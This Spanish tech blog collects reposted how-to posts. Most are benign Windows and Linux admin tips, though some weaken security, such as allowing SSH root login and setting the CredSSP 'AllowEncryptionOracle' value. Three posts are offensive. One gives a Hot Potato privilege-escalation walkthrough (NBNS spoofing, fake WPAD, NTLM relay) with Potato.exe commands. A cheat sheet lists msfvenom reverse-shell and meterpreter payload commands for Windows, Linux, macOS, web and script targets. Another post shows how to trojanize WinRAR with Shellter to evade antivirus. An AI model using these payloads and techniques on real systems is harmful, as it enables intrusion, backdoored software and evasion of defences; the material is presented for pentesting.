El origen de este mensaje que no deja de interrumpir es que dicha actualización de Abril ha creado una nueva partición en nuestro disco duro principal, esta nueva partición al parecer contiene datos que Windows utilizara en caso de necesitar reparar o restaurar nuestro sistema operativo. Sin embargo Microsoft no tuvo la precaución de ocultarla y al quedar esta con solo 45 megas de espacio libre, Windows nos da ese constante mensaje de “error” por falta de espacio en la unidad.

Y la Solución?

Como no es recomendable borrarla pues es parte del sistema, lo que necesitamos es ocultarla para que Windows deje de interrumpirnos con notificaciones, lo normal sería hacerlo desde el administrador de Discos, pero si lo intentamos veremos que no tenemos manera de ocultarla, así que toca hacerlo de forma manual utilizando DiskPart y los pasos que a continuación vamos a dar.

Cuidado!

Pero antes de comenzar debo advertirte que existe un cierto riesgo de que si lo haces mal puedas perder información, por lo que tienes que estar bien seguro de lo que vas a hacer y tampoco haría daño el hacer un backup de tus datos antes de continuar.

Ahora si, como arreglarlo.

Ok, vamos a comenzar, lo primero es fijarnos en la letra de la unidad que queremos ocultar, en este caso es la unidad de 450 megas totales y que tiene 45 megas de espacio libre (estos números son aproximados y pueden variar ligeramente), en mi caso es la unidad E, esta letra puede ser diferente en tu caso por lo que es muy importante que revises bien que letra es la que aplica en tu equipo.

Ahora damos click en inicio y tecleamos CMD, después hacemos click derecho en símbolo de sistema y seleccionamos “Ejecutar como Administrador”, damos Si en la advertencia de Windows y ahora se abrirá una ventana de comandos. Aquí vamos a seguir los siguientes pasos:

1.- Escribir diskpart y dar Enter para ejecutar la herramienta.

2.- Escribir list volume y dar Enter, esto nos mostrara una lista de todas las unidades de nuestro sistema donde tenemos que buscar el volumen con la letra de nuestra unidad, en mi caso es el Volumen 1 y confirmar que se trata de la unidad de 450 megas.

3.- Escribir select volume y la letra de la unidad (o el numero de volumen) que vamos a ocultar en mi caso es la unidad E y dar enter, recuerden que para uds puede ser esta u alguna otra letra.

4.- Escribir remove letter y la letra de la unidad que vamos a ocultar y después dar Enter.

5.- Una vez que diskpart nos confirma que la letra se ha eliminado escribimos Exit y damos enter para salir de Diskpart.

Ahora podemos cerrar nuestra línea de comandos y comprobar en el administrador de discos que la partición aún existe pero que ya no tiene asignada una letra. Y también se ha ido del explorador de archivos y por lo tanto ya no tendremos los molestos avisos de disco lleno.

Microsoft lo hace de nuevo

Microsoft ya ha reconocido este problema y aunque no ha dicho como ni cuando, es probable que en alguna actualización posterior se incluya una solución automática para este problema, por lo que si no te sientes muy seguro de hacerlo tú mismo igual puedes esperar a que Microsoft lo haga por ti.

Fuente: http://www.defectodigital.com.mx/windows10-disco-duro-lleno/

 

Publicado en Sin catalogar | Deja un comentario

Como solucionar Error de autenticación. No se permite la función solicitada en Escritorio Remoto

Conectándome por Escritorio Remoto a varios servidores me he encontrado con el error: Error de autenticación. No se permite la función solicitada . Aquí os dejo la solución a este problema:

  1. En el equipo desde el que os conectáis, pulsar tecla Windows + R, escribimos regedit.exe y le damos al boton Aceptar.
  2. En el registro de Windows buscamos la clave HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\
  3. Click derecho en System y seleccionamos Nuevo-> Clave y le damos el nombre CredSSP
  4. Click derecho en CredSSP y seleccionamos Nuevo-> Clave y la damos el nombre Parameters
  5. Click derecho en Parameters y seleccionamos Nuevo -> Valor de DWORD (32 bits) y le damos el nombre AllowEncryptionOracle
  6. Click derecho en AllowEncryptionOracle -> Modificar… y en Información del valor escribimos un 2

Ahora podéis probar a conectar de nuevo. Debería funcionar correctamente.

Fuente: https://www.altraforma.com/windows/como-solucionar-error-de-autenticacion-no-se-permite-la-funcion-solicitada-en-escritorio-remoto/

 

Publicado en Sin catalogar | 2 comentarios

Hacer que el grub recuerde el último sistema operativo usado

Grub recuerde el último sistema operativo usadoVarios de vosotros seguramente están usando distintas distribuciones linux o sistemas operativos en un mismo ordenador. Por lo tanto es más que posible que cada vez que arranquen el ordenador tengan que estar pendientes de seleccionar la distro o sistema operativo que quieren usar.

Sin duda esto es bastante pesado, pero existe una solución fácil para intentar minimizar este hecho. Podemos hacer que el grub recuerde el último sistema operativo que hayamos iniciado y hacer que el sistema operativo por defecto sea siempre el último que hayamos usado. Por lo tanto si la última vez que usamos el ordenador arrancamos Debian, cuando volvamos a iniciar el ordenador la entrada predeterminada en el Grub será Debian. Si la última vez que iniciamos el ordenador arrancamos con Manjaro, cuando volvamos a iniciar el ordenador la entrada predeterminada del Grub será Manjaro.

HACER QUE EL GRUB RECUERDE EL ÚLTIMO SISTEMA OPERATIVO EJECUTADO

Seguidamente mostraremos los pasos a seguir para que el grub recuerde el último sistema operativo que se ha ejecutado. El procedimiento detallado en este post es válido para cualquier distribución que use GRUB como gestor de arranque.

Copia de seguridad de los fichero modificados

El primer paso es realizar una copia de seguridad del fichero de configuración que vamos a modificar. Para ello ejecutamos el siguiente comando en la terminal:

sudo cp /etc/default/grub ~/grub.old

Este comando generará una copia de seguridad del archivo grub en nuestra partición home. El nombre del archivo que contendrá la copia de seguridad será grub.old.

Modificar la configuración del Grub

Para hacer que el Grub considere como entrada predeterminada el último sistema operativo que hemos usado es fácil. Tan solo tenemos que modificar la configuración del grub. Para ello abrimos una terminal y ejecutamos el siguiente comando:

sudo nano /etc/default/grub

Una vez abierto el editor de texto tenemos que buscar la siguiente línea:

GRUB_DEFAULT=0
Nota: Esta línea de la configuración del Grub establece la entrada del grub que se seleccionará por defecto al arrancar nuestro ordenador. Así por ejemplo si sustituyéramos el 0 por el 1, la entrada del grub seleccionada por defecto seria la segunda en lugar de la primera.

Una vez la hayamos encontrado línea la sustituimos por la siguiente:

GRUB_DEFAULT=saved
Nota: Al sustituir 0 por saved, lo que estamos realizando es habilitar la opción GRUB_SAVEDEFAULT para establecer el sistema operativo predeterminado.

Seguidamente, tal y como se muestra en la captura de pantalla, tenemos que añadir la siguiente línea en el fichero de configuración:

GRUB_SAVEDEFAULT=true
Nota: Al fijar el valor de GRUB_SAVEDEFAULT como true, lo que hacemos es que cada vez que seleccionamos una entrada en el grub, se guarde como la entrada por defecto para la próxima vez que encendamos el ordenador.

Configuración para que el grub recuerde el último arranque

Para finalizar con este apartado, tan solo tenemos que guardar los cambios y cerrar el fichero.

Cargar la nueva configuración al gestor de arranque GRUB

El último paso a realizar es actualizar la configuración del grub para que se genere un nuevo archivo grub.cfg . Para ello ejecutamos el siguiente comando en la terminal:

sudo grub-mkconfig -o /boot/grub/grub.cfg
Nota: Comandos alternativos al último que acabamos de ver son sudo update-grub2 y sudo update-grub

El resultado obtenido de ejecutar este comando tiene que ser parecido al siguiente:

Cargar configuración del GRUB

Después de ejecutar este comando el proceso ha terminado. Ahora si iniciamos el ordenador con Debian, la entrada predeterminada del GRUB en el próximo arranque será Debian. Si la última vez que usamos el ordenador arrancamos con Windows, la entrada predeterminada en el próximo arranque será Windows.

Publicado en Sin catalogar | Deja un comentario

Linux: Como instalar SSH en Kali

Por lo general, no siempre viene instalado el cliente SSH en todas las distribuciones y suele ser algo tremendamente útil de tener instalado y activo, por lo que vamos a intentar explicar de la manera más sencilla posible el como instalarlo en Kali Linux.

Instalación

Hay que tener en cuenta que para poder realizar la instalación hay que hacerlo desde el usuario root y evidentemente, tener el equipo conectado a internet para poder hacer la descarga e instalación de los paquetes necesarios.
# apt-get update
# apt-get install ssh

Activación e inicio

Para asegurarnos de que arranca tras un reinicio, vamos a poner lo siguiente:
# systemctl enable ssh

Ahora lo que tendremos que hacer es arrancar manualmente el proceso y de esta manera también lo tendremos en nuestra sesión actual.
# service ssh start

Permitiendo acceder a Root mediante SSH

Si revisamos la configuración que viene por defecto en SSH el usuario root no tiene permiso para hacer login remotamente y si intentamos conectarnos aparecerá algo como esto:
Permission denied, please try again.

Para poder acceder, tendremos 2 opciones y hemos de sopesar cual de las dos vamos a querer utilizar.

  1. Crear un usuario básico y usarlo para conectarnos y ascender a root.
  2. Permitiendo al usuario root el acceso mediante SSH

Como la primera opción es prácticamente auto-explicativa, nos vamos a centrar en la segunda.

Por lo tanto vamos a tener que editar el fichero /etc/ssh/sshd_config y sustituir la llínea siguiente:
Original:
#PermitRootLogin prohibit-password

Cambiamos por esto:
PermitRootLogin yes
Quedando de la siguiente manera:

Hay que recordar que tras esto hemos de reiniciar el servicio SSH

# service ssh restart

Una cosa que hay que tener en cuenta es que si usamos la versión LIVE que viene incluida, ya nos viene activo, es solo para instalaciones personalizadas desde cero.

Fuente: Kali Linux Documentation

Publicado en Sin catalogar | Deja un comentario

Escalado de privilegios en Windows 7,8,10, Server 2008, Server 2012 mediante Hot Potato

Hot Potato de @breenmachine son varias técnicas para escalar privilegios en Güindous. Básicamente podríamos decir que primero redirecciona todo el tráfico HTTP a local para capturar las peticiones de los servicios de la máquina, luego las responde mediante solicitudes de peticiones de autenticación NTLM que reenvía a un servidor SMB local, que finalmente crea un servicio que ejecuta un comando (un cmd.exe por ejemplo) con los privilegios correspondientes.

Así dicho de golpe parece un embrollo, así que vamos a ver paso a paso cómo hacerlo…

En una red local cualquier aplicación puede utilizar Web Proxy Auto Discovery Protocol (en adelante WPAD) para encontrar proxies para poder salir a Internet. Esa información con sus reglas y demás está en un fichero javascript wpad.dat que está en un servidor WPAP accesible mediante la URL: http://wpad/wpad.dat. Esto lo implementó Netscape en 1996 y la verdad es que después de tantos años no ha cambiado demasiado.

En el primer paso del ataque debemos hacer que nuestra máquina no envíe las peticiones HTTP a un proxy real si no a nuestro propio equipo, y eso pasa por falsificar la URL para que apunte a localhost.

1. Falsificador local Netbios

Los clientes pueden recibir la ubicación de wpad.dat mediante DHCP (opción 252) o resolviendo el nombre del servidor WPAD y haciendo un HTTP GET a la URL. Como sabéis el orden normal de resolución de nombres es el fichero host, luego la resolución DNS y finalmente un broadcast UDP mediante NetBIOS Name Service (NBNS).

Un equipo Windows por defecto no tendrá entrada ‘wpad’ en el fichero host así que el siguiente paso será la consulta al servidor DNS. Normalmente no suele haber ningún registro A ‘wpad’ pero por si acaso se utiliza una técnica llamada ‘agotamiento de puertos UDP’ que consiste en usar todos los puertos UDP disponibles (esto en localhost se consigue bastante rápido) para que, a la hora de intentar realizar una consulta DNS, falle porque no hay puertos UDP origen disponibles.
A continuación la tercera vía será la consulta Netbios que tendremos que falsificar para que ‘wpad’ nos devuelva 127.0.0.1. En principio y sin privilegios no podremos esnifar el tráfico para hacer un MiTM, así que lo que haremos será inundar el host con respuestas NBNS (ya que es un protocolo UDP). Una complicación es que el paquete NBNS tiene un campo de 2 bytes, el IDTX, que no podemos ver y que debe coincidir en la solicitud y la respuesta. Sin embargo podemos iterar sobre todos los 65536 valores posibles al hacerlo rápidamente.

2. Servidor WPAD falso

Una vez que hemos conseguido que ‘wpad’ resuelva 127.0.0.1, debemos levantar un servidor HTTP en local que cuando reciba una petición a «http://wpad/wpad.dat» responda algo como:

FindProxyForURL(url,host){
if (dnsDomainIs(host, «localhost»)) return «DIRECT»;
return «PROXY 127.0.0.1:80»;}

Esto hará que todo el tráfico HTTP sea redirigido a través de nuestro servidor se ejecuta en local/127.0.0.1.

Lo curioso que además afectará a todos los usuarios de la máquina, incluyendo administradores y cuentas del sistema.

3. HTTP -> SMB NTLM Relay

Anteriormente el protocolo NTLM era vulnerable a ataques MiTM. Por ejemplo un atacante capturaba los intentos de autenticación mediante el protocolo SMB y los podía reenviar contra la propia máquina de la víctima o a otro servidor para obtener acceso mediante psexec o similar. No obstante, Microsoft ya parcheó ésto desactivando la posibilidad de usar la misma autenticación NTLM con un challenge ya en uso, algo que sin embargo sigue funcionando desde otros protocolos como HTTP (HTTP->SMB) como ya vimos recientemente en el blog.

Como en los dos pasos anteriores hemos trabajado para redireccionar todo el tráfico HTTP a través de un servidor local que controlamos, podemos hacer cosas como redirigirlos a algún sitio que solicite la autenticación NTLM.

Con el exploit de Potato, todas las peticiones HTTP se redirigen a una redirección 302 a «http://localhost/GETHASHESxxxxx», donde xxxxx es un identificador único. Las solicitudes de «http://localhost/GETHASHESxxxxx» responden con una petición 401 para autenticación NTLM.

A continuación, las credenciales NTLM son retransmitidas a un listener SMB local que crea un nuevo servicio de sistema que ejecuta un comando definido por el usuario.

Cuando la solicitud HTTP en cuestión se origina desde una cuenta de privilegios elevados, por ejemplo, cuando se trata de una solicitud del servicio de Windows Update, este comando se ejecutará con el privilegio «NT AUTHORITY\ SYSTEM»… bingo!

Usando el exploit

Su uso depende del sistema operativo.

También es un poco extraño a veces, debido a las peculiaridades en la forma en que Windows maneja la configuración del proxy y el archivo WPAD. A menudo, cuando el exploit no funciona, es necesario dejarlo correr y esperar. Cuando Windows ya tiene una entrada de caché para WPAD o está permitiendo el acceso directo a Internet, porque no se encontró WPAD, podría tomar 30-60 minutos para que se actualice el archivo WPAD. Es necesario dejar el exploit se ejecute y tratar de probar de nuevo más tarde, una vez transcurrido este tiempo.

Las técnicas que se enumeran aquí se ordenan de menor a mayor complejidad. Las técnicas del final de la lista deberían funcionar en todas las versiones anteriores. Se incluyen vídeos y capturas de pantalla para cada uno.

Windows 7 ver https://youtu.be/Nd6f5P3LSNM

Windows 7 puede explotarse de forma fiable a través del mecanismo de actualización de Windows Defender.

Potato.exe tiene código para desencadenar automáticamente éste. Basta con ejecutar losiguiente:

Potato.exe -ip -cmd [cmd to run] -disable_exhaust true

Esto hará funcionar al Spoofer NBNS, falsificando «WPAD» a 127.0.0.1, y a continuación, comprobará si hay actualizaciones de Windows Defender.

Si la red tiene una entrada DNS para «WPAD» puedes intentar «-disable_exhaust false«. Esto debería hacer que la búsqueda de DNS falle e intente la resolución por NBNS. Esto parece funcionar bastante bien en Windows 7.

Windows Server 2008 – Ver https://youtu.be/z_IGPWgL5SY

Como Windows Server no viene con Defender, necesitamos un método alternativo. En su lugar vamos a comprobar simplemente las actualizaciones de Windows. La otra advertencia es que en algunos dominios el servidor 2K8 pregunta por WPAD.DOMAIN.TLD en lugar de sólo WPAD. El siguiente es un ejemplo de uso:

Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true -spoof_host WPAD.EMC.LOCAL

Después de se ejecute correctamente, basta con comprobar si hay actualizaciones de Windows. Si no se activa, espera unos 30 minutos con el exploit funcionando y vuelve a intentarlo. Si aún así no funciona, intenta descargar alguna actualización.

Si en la red hay una entrada DNS para «WPAD», de igual forma que antes puedes intentar usar «-disable_exhaust false». Sin embargo, el agotamiento DNS hace que TODAS las búsquedas fallen y el proceso de actualización de Windows podría tener que hacer algunas búsquedas de DNS antes de llegar a WPAD… por lo que tendría que hacerse en el momento oportuno para que funcione en este caso.

Windows 8/10/Server 2012 – Ver https://youtu.be/Kan58VeYpb8

En las últimas versiones de Windows, parece que la actualización de Windows ya no «respeta» la configuración de proxy fijada en «Opciones de Internet» ni detecta WPAD. En su lugar, las configuración del proxy para Windows Update se controla con “netsh winhttp proxy…”

Aunque también contamos con una característica nueva de Windows, el «actualizador automático de certificados no confiables». Los detalles se pueden encontrar en https://support.microsoft.com/en-us/kb/2677070 y https://technet.microsoft.com/en-us/library/dn265983.aspx

Desde el artículo de TechNet «Windows Server 2012 R2, Windows Server 2012, de Windows 8.1 y Windows 8 incluyen un mecanismo de actualización automática que descarga las listas de confianza de certificados (CTL) diariamente«.

Parece que esta parte de Windows todavía utiliza WPAD, incluso cuando la configuración del proxy se controle mediante winhttp.

En este caso el uso de Potato es el siguiente:

Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true

En este punto, tendremos que esperar hasta 24 horas o encontrar otra manera de accionar esta actualización.

Si la red tiene una entrada DNS para «WPAD», consulta la documentación en Server 2008. El agotamiento de puerto podría ser complicado…

TODO: Firma SMB?

No está claro si este ataque va a funcionar cuando SMB signing esté habilitado. El exploit actual no lo hace, pero puede ser debido a la falta de soporte en la librería CIFS usada. La razón para sospechar que puede funcionar es que todo está sucediendo en 127.0.0.1. Si las firmas se basan en host, ¿podrían coincidir?

Un nuevo ataque de red

Pensemos de nuevo en el ataque de suplantación NBNS.

Utilizando la misma técnica de fuerza bruta TxID, técnicamente podríamos realizar ataques de suplantación NBNS fuera de nuestra red local. De hecho, en teoría, siempre y cuando haya una conexión lo suficientemente rápida como para soportarlo, debemos ser capaces de realizar ataques de suplantación NBNS contra cualquier hosts de Windows con el que podemos hablar a través del puerto UDP 137.

En realidad, aunque funciona en la práctica en la red local, todavía se tiene que probar más y verificarlo a través de Internet.

Estan lanzando una versión modificada de la herramienta «Responder.py» que lleva a cabo este ataque. El siguiente video muestra el ataque a una red distribuida de la siguiente manera:

– firewall pfSense
– 10.0.0.0/24 -> LAN corporativa
– 10.0.1.0/ 24 -> Servidor de red
– Desde la red de la empresa, vamos a atacar a una máquina en la red de servidores.

Demostración: https://youtu.be/Mzn7ozkyG5g

Página de GitHub: https://github.com/foxglovesec/Potato

Fuente: http://foxglovesecurity.com/2016/01/16/hot-potato/  

Publicado en Sin catalogar | Deja un comentario

¿Quieres una Shell Reversa?

Diversas formas de generar una shell reversa utilizando msfvenom de metasploit

=[ WINDOWS ]=

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f exe > meterpreter.exe

=[ LINUX ]=

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f elf > meterpreter

=[ MAC ]=

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f macho > meterpreter

=[ WEB ]=

PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f raw | sed ‘s///<?php/<?php/’ > shell.php && echo ‘ ?>’ >> meterpreter.php

ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f asp > meterpreter.asp

JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.jsp

WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f war > meterpreter.war

=[ SCRIPTS ]=

POWERSHELL
msfvenom -p cmd/windows/powershell_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.ps1

PYTHON
msfvenom -p cmd/unix/reverse_python LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.py

BASH
msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.sh

PERL
msfvenom -p cmd/unix/reverse_perl LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.pl

Publicado en Sin catalogar | Deja un comentario

Evasión de antivirus con Shellter

En este post vamos a mostrar cómo hacer una evasión de antivirus con Shellter, una herramienta sencilla y muy útil para los que nos movemos en el ámbito de la ciberseguridad.

¿Qué es Shellter?

Todos los que nos dedicamos al mundo del pentesting somos conscientes de que una de las mayores dificultades en el proceso de una auditoría real, en el que nos permiten hacer ataques en el lado del cliente, es el motor antivirus. Y es que metasploit, junto a su payload meterpreter, suele hacer las delicias de nosotros, los pentesters, cuando estamos trabajando en ambientes donde la firma antivirus no es un problema serio en nuestra auditoría, sobre todo con las pruebas de concepto de ataques en el lado del cliente. Sin embargo, en esas circunstancias en las que tenemos que echar un pulso con los antivirus es donde Shellter nos puede ser de gran ayuda.

 

evasión de antivirus

Una herramienta para la evasión de antivirus

Shellter es una herramienta de inyección dinámica, pero ¿por qué es dinámica? Shellter hace uso de la misma metodología que hacen los propios motores antivirus, ejecutando el fichero que deseamos infectar en una “sandbox”, donde comprueba qué llamadas de librerías hace, qué procesos realiza el ejecutable hasta que finalmente se ha abierto. A partir de ahí, informa al usuario de las opciones disponibles para infectar dicho ejecutable, eligiendo la que más nos convenga. Además de eso, Shellter no necesita dependencias para su funcionamiento y es multiplataforma: Está disponible tanto para Linux como para Windows. El proceso de uso de Shellter es muy sencillo e intuitivo, ya que tampoco requiere de un proceso de instalación.

 

invasión de antivirus

 

Simplemente lanzamos su ejecutable y el proceso de Shellter comenzará. En este caso hacemos uso del modo automático poniendo una A.

 

evasión de antivirus

 

Después nos va a solicitar la ruta del ejecutable que deseamos infectar. Como bien se ha indicado, Shellter analiza el funcionamiento del fichero ejecutable en cuestión, por lo que puede ser una herramienta ya instalada o su propio instalador. En este caso, infectaremos el ejecutable de winrar, una aplicación muy común en entornos corporativos.

 

evasión de antivirus

evasión de antivirus con shellter

 

Nos solicitará confirmación para activar el modo “sigiloso”. En este caso le indicamos que si y elegimos el tipo de payload que deseamos utilizar, así como las opciones de conexión (LHOST y LPORT). El resto del proceso lo generará Shellter de forma automática. Ahora resta comprobar primero el funcionamiento del payload.

 

evasión de antivirus con Shellter

 

Con simplemente ejecutar winrar (de hecho, el tiempo de carga ha sido rápido, sin evidencia de que ocurra algo raro) se abre nuestra sesión de meterpreter.

 

evasión de antivirus con Shellter

 

Ahora, tras comprobar que el payload es funcional, vamos a comprobar el porcentaje de detección en los motores antivirus.

 

evasión de antivirus con Shellter

 

¡Un 0% y estoy usando una versión antigua de Shellter! ¿Cómo será entonces la versión PRO actual? ¿La has probado ya? Cuéntanos qué tal te ha ido con ella para la evasión de antivirus.

 

Fuente: https://thesecuritysentinel.es/evasion-de-antivirus-con-shellter/

 

Publicado en Sin catalogar | Deja un comentario

Windows: Programar apagado o reinicio automático

En ocasiones, nos puede interesar programar un apagado o un reinicio automático de un equipo con Windows, ya sea Windows cliente (Windows XP, Vista, 7, 8, 10) o Windows Server (2003, 2008, 2008R2, 2012, 2012R2, 2016).
Para programar apagado o reinicio automático necesitaremos dos herramientas:
– Comando shutdown.
– Programador de tareas (taskschd.msc).
Además disponemos del comando schtasks, que nos permite crear la tarea desde linea de comandos y después es posible verla desde el programador del tareas.
La ventaja de utilizar el comando schtasks para crear la tarea programada es que podemos desplegar la configuración en múltiples equipos mediante un script y una GPO (directiva de grupo).

1) Programar apagado o reinicio automático: Comando shutdown:

Debemos tener en cuenta los siguientes parámetros del comando shutdown:

/s      Apaga el equipo.
/r      Apaga y reinicia el equipo.
/f      Fuerza el cierre de las aplicaciones sin advertir previamente a los usuarios.
/t xxx  Establece el período de tiempo de espera antes del cierre en xxx segundos.
/c «xxx» Muestra el comentario especificado: xxx

Podemos obtener la referencia completa de todos los parámetros del comando shutdown, ejecutando: shutdown /?
Ejemplos:
Para reiniciar el equipo de forma inmediata:
shutdown /r /f /t 0 /c «Reinicio»
Para apagar el equipo de forma inmediata:
shutdown /s /f /t 0 /c «Apago»

2) Programar apagado o reinicio automático: Programador de tareas (taskschd.msc)

Ejecutamos taskschd.msc o bien control schedtasks para cargar el interfaz gráfico del programador de tareas.
También podemos crear la tarea utilizando el comando schtasks.
Ejemplo:
schtasks /create /ru system /rl highest /sc DAILY /tn Reinicio /tr «shutdown /r /f /t 0 /c «Reinicio»» /st 22:30 /F
Explicación de los parámetros:
/create : Crea la tarea programada.
/ru system: Ejecutar la tarea como el usuario SYSTEM.
/rl highest: Ejecutar con los privilegios más altos.
/sc DAILY: Ejecutar la tarea cada día.
/tn Reinicio: Nombre de la tarea.
/tr «shutdown /r /f /t 0 /c «Reinicio»»: El comando a ejecutar cada vez es: «shutdown /r /f /t 0 /c «Reinicio»», que reiniciará el equipo cerrando todas las aplicaciones abiertas, sin tiempo de espera.
/st 22:30: La tarea se ejecutará a las 22:30.
/F: En caso de que exista la tarea, se sobreescribirá la configuración.
Si ejecutamos este comando desde una ventana de CMD como administrador y luego ejecutamos taskschd.msc, podemos ver la configuración de la tarea:
Pestaña «General»:
Windows: Programar apagado o reinicio automático
Pestaña «Desencadenadores»:
Windows: Programar apagado o reinicio automático
Pestaña «Acciones»:
Windows: Programar apagado o reinicio automático
Publicado en Sin catalogar | Deja un comentario